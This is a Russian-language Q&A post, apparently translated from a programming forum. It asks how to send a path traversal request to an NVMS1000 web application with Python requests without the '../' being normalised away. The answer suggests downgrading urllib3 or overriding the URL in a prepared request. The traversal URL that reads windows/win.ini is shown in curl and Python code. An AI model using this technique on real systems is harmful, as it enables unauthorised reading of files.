Обход пути с запросом Python
Недавно я хотел автоматизировать атаку на веб-приложение, которое подвержено атакам обхода пути (NVMS1000) через модуль запросов python.
Запрос отлично работает с curl, используя параметр path-as-is:
curl --path-as-is http://127.0.0.1/../../../../../../../../../../windows/win.ini
Однако при использовании модуля запросов python "../" удаляется из urlpath (как я ясно вижу, например, через Burp Suite):
host = "127.0.0.1"
path = "/../../../../../../../../../.."
file = "/windows/win.ini"
url = host+path+file
response = requests.get(url,proxies=proxies)
Я проверил документы, но не нашел никакого объяснения этому поведению и не нашел возможности предотвратить удаление / нормализацию, аналогичную опции для curl.
платформа - debian, модуль запроса - версия 2.22.0
Спасибо за вашу помощь.
1 ответ
Я знаю, что опаздываю, но рассмотрите возможность перехода на более раннюю версию urllib3:
pip install --upgrade urllib3==1.24.3
А еще лучше использовать подготовленные запросы:
my_url = 'http://127.0.0.1/../../../../../../../../../../windows/win.ini'
s = requests.Session()
r = requests.Request(method='GET', url=my_url)
prep = r.prepare()
prep.url = my_url # actual url you want
response = s.send(prep)